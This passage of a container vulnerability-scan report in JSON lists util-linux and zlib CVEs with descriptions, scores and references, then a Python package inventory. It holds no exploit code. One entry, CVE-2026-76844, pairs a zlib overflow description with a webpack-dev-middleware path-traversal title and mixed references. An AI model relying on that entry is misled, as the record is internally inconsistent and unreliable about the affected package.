intermediate symlink traversal or keep resolution inside the newly mounted filesystem. A local unprivileged user with an fstab-authorized X-mount.subdir entry can attach a host path at the intended mountpoint.", "Severity": "HIGH", "CweIDs": [ "CWE-59" ], "VendorSeverity": { "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/security/cve/CVE-2026-78409", "https://bugzilla.redhat.com/show_bug.cgi?id=2522607", "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv", "https://nvd.nist.gov/vuln/detail/CVE-2026-78409", "https://www.cve.org/CVERecord?id=CVE-2026-78409" ], "PublishedDate": "2026-09-02T16:17:23.833Z", "LastModifiedDate": "2026-11-05T00:17:28.61Z" }, { "VulnerabilityID": "CVE-2026-78410", "PkgID": "util-linux@2.41-5", "PkgName": "util-linux", "PkgIdentifier": { "PURL": "pkg:deb/debian/util-linux@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "972fb85b9c9e83e7" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78410", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7841e0005f12ab1eb41a5a4ae0e435b8692756426b37efedd95f1c16de5063d3", "Title": "util-linux: util-linux: restricted bind mounts do not pin the source, allowing X-mount.owner/group/mode redirection", "Description": "A flaw was found in util-linux. Restricted bind mounts take the source path from fstab but do not pin that source before the privileged mount. A local unprivileged user who can replace the authorized source or a writable ancestor can redirect SUID mount(8) to bind another host directory. If the fstab entry also sets X-mount.owner, X-mount.group, or X-mount.mode, root then changes ownership or mode on that redirected inode.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/errata/RHSA-2026:95365", "https://access.redhat.com/security/cve/CVE-2026-78410", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m", "https://linux.oracle.com/cve/CVE-2026-78410.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78410", "https://www.cve.org/CVERecord?id=CVE-2026-78410" ], "PublishedDate": "2026-09-02T16:17:23.983Z", "LastModifiedDate": "2026-11-05T03:17:33.15Z" }, { "VulnerabilityID": "CVE-2026-76844", "VendorIDs": [ "DSA-6613-1" ], "PkgID": "zlib1g@1:1.3.dfsg+really1.3.1-1+b1", "PkgName": "zlib1g", "PkgIdentifier": { "PURL": "pkg:deb/debian/zlib1g@1.3.dfsg%2Breally1.3.1-1%2Bb1?arch=amd64\u0026distro=debian-13.3\u0026epoch=1", "UID": "6f0e3b7df83b1702" }, "InstalledVersion": "1:1.3.dfsg+really1.3.1-1+b1", "FixedVersion": "1:1.3.dfsg+really1.3.1-1+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-76844", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:05afc0ec38c8a9f290c3a69c465ffd7f281fa9cd77543c48f2941f1f822a567f", "Title": "webpack-dev-middleware: webpack-dev-middleware: Information Disclosure via Path Traversal", "Description": "zlib 1.2.11 through 1.3.2 contains a heap buffer overflow: after an underlying write() fails, gz_write() returns without resetting strm.next_in, leaving it pointed at the caller's buffer. A later gz* write call then derives a position from the stale pointer and writes past a heap allocation; any write() failure reaches it, including EPIPE on a blocking descriptor, and in versions before 1.3.1.2 the failed write must be followed by a gzclearerr() call.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "azure": 2, "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N", "V3Score": 7.4 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N", "V3Score": 8.6 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-76844", "https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490", "https://github.com/advisories/GHSA-wr3j-pwj9-hqq6", "https://github.com/madler/zlib", "https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c#L393", "https://github.com/madler/zlib/commit/df84af25dc1942490e1d1c899a07619152a46148", "https://github.com/webpack/webpack-dev-middleware", "https://github.com/webpack/webpack-dev-middleware/blob/v8.1.1/src/middleware.js", "https://github.com/webpack/webpack-dev-middleware/commit/13344e78b26d88fe9b7c8381a3860e248a52359b", "https://github.com/webpack/webpack-dev-middleware/commit/cefccbac330c29052fc6dffe85fd292ea2ac782b", "https://github.com/webpack/webpack-dev-middleware/pull/2404", "https://github.com/webpack/webpack-dev-middleware/releases/tag/v7.4.6", "https://github.com/webpack/webpack-dev-middleware/releases/tag/v8.3.0", "https://github.com/webpack/webpack-dev-middleware/security/advisories/GHSA-g84c-rxfj-3j2c", "https://nvd.nist.gov/vuln/detail/CVE-2026-76844", "https://www.cve.org/CVERecord?id=CVE-2026-76844", "https://www.vulncheck.com/advisories/webpack-dev-middleware-path-traversal-via-offset-slice-on-a-non-slash-terminated-publicpath", "https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate" ], "PublishedDate": "2026-08-24T14:17:02.25Z", "LastModifiedDate": "2026-10-12T17:10:00.163Z" }, { "VulnerabilityID": "CVE-2026-85091", "VendorIDs": [ "DSA-6613-1" ], "PkgID": "zlib1g@1:1.3.dfsg+really1.3.1-1+b1", "PkgName": "zlib1g", "PkgIdentifier": { "PURL": "pkg:deb/debian/zlib1g@1.3.dfsg%2Breally1.3.1-1%2Bb1?arch=amd64\u0026distro=debian-13.3\u0026epoch=1", "UID": "6f0e3b7df83b1702" }, "InstalledVersion": "1:1.3.dfsg+really1.3.1-1+b1", "FixedVersion": "1:1.3.dfsg+really1.3.1-1+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-85091", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b96480fda951fecb23e2e3e11615fb232094b7f4f7681617a9e46a9a8d7da2d1", "Title": "zlib: zlib: Heap buffer overflow in gz_vacate() allows arbitrary code execution", "Description": "zlib versions 1.3.1.2 through 1.3.2 contain a heap buffer overflow vulnerability in the gz_vacate() function when processing non-blocking gzwrite() operations with stale external buffer pointers. Attackers can trigger the overflow by calling gzprintf() or gzvprintf() after a write stall, causing an unchecked memmove() to write beyond the internal input buffer boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "azure": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-85091", "https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490", "https://github.com/madler/zlib", "https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c#L393", "https://nvd.nist.gov/vuln/detail/CVE-2026-85091", "https://ubuntu.com/security/notices/USN-8954-1", "https://www.cve.org/CVERecord?id=CVE-2026-85091", "https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate" ], "PublishedDate": "2026-09-03T13:06:20.573Z", "LastModifiedDate": "2026-09-09T20:41:07.123Z" } ] }, { "Target": "Python", "Class": "lang-pkgs", "Type": "python-pkg", "Packages": [ { "Name": "PyJWT", "Identifier": { "PURL": "pkg:pypi/pyjwt@2.12.1", "UID": "3bfce45ee51f1a4f" }, "Version": "2.12.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/pyjwt-2.12.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "PyYAML", "Identifier": { "PURL": "pkg:pypi/pyyaml@6.0.3", "UID": "200d8384c5c91a41" }, "Version": "6.0.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/pyyaml-6.0.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiofiles", "Identifier": { "PURL": "pkg:pypi/aiofiles@25.1.0", "UID": "bedb450fc1c4242e" }, "Version": "25.1.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/aiofiles-25.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "annotated-types", "Identifier": { "PURL": "pkg:pypi/annotated-types@0.7.0", "UID": "8f2d1a00c89e67cc" }, "Version": "0.7.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/annotated_types-0.7.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "anyio", "Identifier": { "PURL": "pkg:pypi/anyio@4.13.0", "UID": "870f66e75cd3e76f" }, "Version": "4.13.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/anyio-4.13.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "attrs", "Identifier": { "PURL": "pkg:pypi/attrs@26.1.0", "UID": "c9c6d940e9e490c0" }, "Version": "26.1.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/attrs-26.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "autocommand", "Identifier": { "PURL": "pkg:pypi/autocommand@2.2.2", "UID": "de2aeb22213f7255" }, "Version": "2.2.2", "Licenses": [ "LGPL-3.0-only" ], "Layer": { "DiffID": "sha256:11eedb26209894f612959676c175604e16ad7325d5866cdf74a401cbd3cef464" }, "FilePath": "usr/local/lib/python3.11/site-packages/setuptools/_vendor/autocommand-2.2.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "backports.tarfile", "Identifier": { "PURL": "pkg:pypi/backports.tarfile@1.2.0", "UID": "1333ca5d453000df" }, "Version": "1.2.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:11eedb26209894f612959676c175604e16ad7325d5866cdf74a401cbd3cef464" }, "FilePath": "usr/local/lib/python3.11/site-packages/setuptools/_vendor/backports.tarfile-1.2.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "beautifulsoup4", "Identifier": { "PURL": "pkg:pypi/beautifulsoup4@4.14.3", "UID": "31c8910653fdcdfe" }, "Version": "4.14.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/beautifulsoup4-4.14.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "cachetools", "Identifier": { "PURL": "pkg:pypi/cachetools@7.0.6", "UID": "789203707fc80a3c" }, "Version": "7.0.6", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/cachetools-7.0.6.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "certifi", "Identifier": { "PURL": "pkg:pypi/certifi@2026.4.22", "UID": "8f3c3b5323596e15" }, "Version": "2026.4.22", "Licenses": [ "MPL-2.0" ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/certifi-2026.4.22.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "cffi", "Identifier": { "PURL": "pkg:pypi/cffi@2.0.0", "UID": "ecf11ce63bd94ab5" }, "Version": "2.0.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/cffi-2.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "charset-normalizer", "Identifier": { "PURL": "pkg:pypi/charset-normalizer@3.4.7", "UID": "15e0f3a41a266402" }, "Version": "3.4.7", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/charset_normalizer-3.4.7.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "click", "Identifier": { "PURL": "pkg:pypi/click@8.3.3", "UID": "45a2b15b2d2dd04e" }, "Version": "8.3.3", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/click-8.3.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "cryptography", "Identifier": { "PURL": "pkg:pypi/cryptography@47.0.0", "UID": "6dae9d3d1dec87c4" }, "Version": "47.0.0", "Licenses": [ "Apache-2.0 OR BSD-3-Clause" ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/cryptography-47.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "google-ads", "Identifier": { "PURL": "pkg:pypi/google-ads@30.1.0", "UID": "91fbb0cef41b9e7a" }, "Version": "30.1.0", "Licenses": [ "text://Apache License Version 2.0, January 2004 http://www.apache.org/licenses/ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 1. Definitions. \"License\" shall mean the terms and conditions for use, reproduction, and distribution as defined by Sections 1 through 9 of this document. \"Licensor\" shall mean the copyright owner or entity authorized by the copyright owner that is granting the License. \"Legal Entity\" shall mean the union of the acting entity and all other entities that control, are controlled by, or are under common control with that entity. For the purposes of this definition, \"control\" means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity. \"You\" (or \"Your\") shall mean an individual or Legal Entity exercising permissions granted by this License. \"Source\" form shall mean the preferred form for making modifications, including but not limited to software source code, documentation source, and configuration files. \"Object\" form shall mean any form resulting from mechanical transformation or translation of a Source form, including but not limited to compiled object code, generated documentation, and conversions to other media types. \"Work\" shall mean the work of authorship, whether in Source or Object form, made available under the License, as indicated by a copyright notice that is included in or attached to the work (an example is provided in the Appendix below). \"Derivative Works\" shall mean any work, whether in Source or Object form, that is based on (or derived from) the Work and for which the editorial revisions, annotations, elaborations, or other modifications represent, as a whole, an original work of authorship. For the purposes of this License, Derivative Works shall not include works that remain separable from, or merely link (or bind by name) to the interfaces of, the Work and Derivative Works thereof. \"Contribution\" shall mean any work of authorship, including the original version of the Work and any modifications or additions to that Work or Derivative Works thereof, that is intentionally submitted to Licensor for inclusion in the Work by the copyright owner or by an individual or Legal Entity authorized to submit on behalf of the copyright owner. For the purposes of this definition, \"submitted\" means any form of electronic, verbal, or written communication sent to the Licensor or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, the Licensor for the purpose of discussing and improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by the copyright owner as \"Not a Contribution.\" \"Contributor\" shall mean Licensor and any individual or Legal Entity on behalf of whom a Contribution has been received by Licensor and subsequently incorporated within the Work. 2. Grant of Copyright License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare Derivative Works of, publicly display, publicly perform, sublicense, and distribute the Work and such Derivative Works in Source or Object form. 3. Grant of Patent License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims licensable by such Contributor that are necessarily infringed by their Contribution(s) alone or by combination of their Contribution(s) with the Work to which such Contribution(s) was submitted. If You institute patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that the Work or a Contribution incorporated within the Work constitutes direct or contributory patent infringement, then any patent licenses granted to You under this License for that Work shall terminate as of the date such litigation is filed. 4. Redistribution. You may reproduce and distribute copies of the Work or Derivative Works thereof in any medium, with or without modifications, and in Source or Object form, provided that You meet the following conditions: (a) You must give any other recipients of the Work or Derivative Works a copy of this License; and (b) You must cause any modified files to carry prominent notices stating that You changed the files; and (c) You must retain, in the Source form of any Derivative Works that You distribute, all copyright, patent, trademark, and attribution notices from the Source form of the Work, excluding those notices that do not pertain to any part of the Derivative Works; and (d) If the Work includes a \"NOTICE\" text file as part of its distribution, then any Derivative Works that You distribute must include a readable copy of the attribution notices contained within such NOTICE file, excluding those notices that do not pertain to any part of the Derivative Works, in at least one of the following places: within a NOTICE text file distributed as part of the Derivative Works; within the Source form or documentation, if provided along with the Derivative Works; or, within a display generated by the Derivative Works, if and wherever such third-party notices normally appear. The contents of the NOTICE file are for informational purposes only and do not modify the License. You may add Your own attribution notices within Derivative Works that You distribute, alongside or as an addendum to the NOTICE text from the Work, provided that such additional attribution notices cannot be construed as modifying the License. You may add Your own copyright statement to Your modifications and may provide additional or different license terms and conditions for use, reproduction, or distribution of Your modifications, or for any such Derivative Works as a whole, provided Your use, reproduction, and distribution of the Work otherwise complies with the conditions stated in this License. 5. Submission of Contributions. Unless You explicitly state otherwise, any Contribution intentionally submitted for inclusion in the Work by You to the Licensor shall be under the terms and conditions of this License, without any additional terms or conditions. Notwithstanding the above, nothing herein shall supersede or modify the terms of any separate license agreement you may have executed with Licensor regarding such Contributions. 6. Trademarks. This License does not grant permission to use the trade names, trademarks, service marks, or product names of the Licensor, except as required for reasonable and customary use in describing the origin of the Work and reproducing the content of the NOTICE file. 7. Disclaimer of Warranty. Unless required by applicable law or agreed to in writing, Licensor provides the Work (and each Contributor provides its Contributions) on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, without limitation, any warranties or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. You are solely responsible for determining the appropriateness of using or redistributing the Work and assume any risks associated with Your exercise of permissions under this License. 8. Limitation of Liability. In no event and under no legal theory, whether in tort (including negligence), contract, or otherwise, unless required by applicable law (such as deliberate and grossly negligent acts) or agreed to in writing, shall any Contributor be liable to You for damages, including any direct, indirect, special, incidental, or consequential damages of any character arising as a result of this License or out of the use or inability to use the Work (including but not limited to damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses), even if such Contributor has been advised of the possibility of such damages. 9. Accepting Warranty or Additional Liability. While redistributing the Work or Derivative Works thereof, You may choose to offer, and charge a fee for, acceptance of support, warranty, indemnity, or other liability obligations and/or rights consistent with this License. However, in accepting such obligations, You may act only on Your own behalf and on Your sole responsibility, not on behalf of any other Contributor, and only if You agree to indemnify, defend, and hold each Contributor harmless for any liability incurred by, or claims asserted against, such Contributor by reason of your accepting any such warranty or additional liability. END OF TERMS AND CONDITIONS APPENDIX: How to apply the Apache License to your work. To apply the Apache License to your work, attach the following boilerplate notice, with the fields enclosed by brackets \"[]\" replaced with your own identifying information. (Don't include the brackets!) The text should be enclosed in the appropriate comment syntax for the file format. We also recommend that a file or class name and description of purpose be included on the same \"printed page\" as the copyright notice for easier identification within third-party archives. Copyright [yyyy] [name of copyright owner] Licensed under the Apache License, Version 2.0 (the \"License\"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License." ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/google_ads-30.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "google-ads-mcp-complete", "Identifier": { "PURL": "pkg:pypi/google-ads-mcp-complete@2.0.0", "UID": "9888def094e3d561" }, "Version": "2.0.0", "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "app/src/google_ads_mcp_complete.egg-info/PKG-INFO", "AnalyzedBy": "python-pkg" }, { "Name": "google-ads-mcp-complete", "Identifier": { "PURL": "pkg:pypi/google-ads-mcp-complete@2.0.0", "UID": "e362f8d228448567" }, "Version": "2.0.0", "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/google_ads_mcp_complete-2.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "google-api-core", "Identifier": { "PURL": "pkg:pypi/google-api-core@2.30.3", "UID": "33cec75014088751" }, "Version": "2.30.3", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/google_api_core-2.30.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "google-auth", "Identifier": { "PURL": "pkg:pypi/google-auth@2.49.2", "UID": "95f47c40a7f9a73d" }, "Version": "2.49.2", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/google_auth-2.49.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "google-auth-oauthlib", "Identifier": { "PURL": "pkg:pypi/google-auth-oauthlib@1.3.1", "UID": "f0a3efd4ef916d0e" }, "Version": "1.3.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/google_auth_oauthlib-1.3.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "googleapis-common-protos", "Identifier": { "PURL": "pkg:pypi/googleapis-common-protos@1.74.0", "UID": "3bfb3f3b526da4b5" }, "Version": "1.74.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/googleapis_common_protos-1.74.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "grpcio", "Identifier": { "PURL": "pkg:pypi/grpcio@1.80.0", "UID": "5940023ea26ba4a0" }, "Version": "1.80.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/grpcio-1.80.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "grpcio-status", "Identifier": { "PURL": "pkg:pypi/grpcio-status@1.80.0", "UID": "8a6666cce879a6ea" }, "Version": "1.80.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/grpcio_status-1.80.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "h11", "Identifier": { "PURL": "pkg:pypi/h11@0.16.0", "UID": "455db3a00bf72" }, "Version": "0.16.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/h11-0.16.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "httpcore", "Identifier": { "PURL": "pkg:pypi/httpcore@1.0.9", "UID": "5f1e35fbdba869a3" }, "Version": "1.0.9", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/httpcore-1.0.9.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "httpx", "Identifier": { "PURL": "pkg:pypi/httpx@0.28.1", "UID": "90b35739e155fb56" }, "Version": "0.28.1", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/httpx-0.28.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "httpx-sse", "Identifier": { "PURL": "pkg:pypi/httpx-sse@0.4.3", "UID": "f7789a68acd8e8ce" }, "Version": "0.4.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/httpx_sse-0.4.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "httpx_auth", "Identifier": { "PURL": "pkg:pypi/httpx-auth@0.23.1", "UID": "8cdfee7010a18d8f" }, "Version": "0.23.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/httpx_auth-0.23.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "idna", "Identifier": { "PURL": "pkg:pypi/idna@3.13", "UID": "a6f8a94388c4e9d2" }, "Version": "3.13", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/idna-3.13.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "importlib_metadata", 